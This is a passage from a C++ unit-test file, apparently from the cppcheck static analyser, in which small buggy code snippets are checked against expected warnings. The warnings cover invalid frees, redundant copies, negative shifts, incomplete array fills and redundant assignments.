ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return 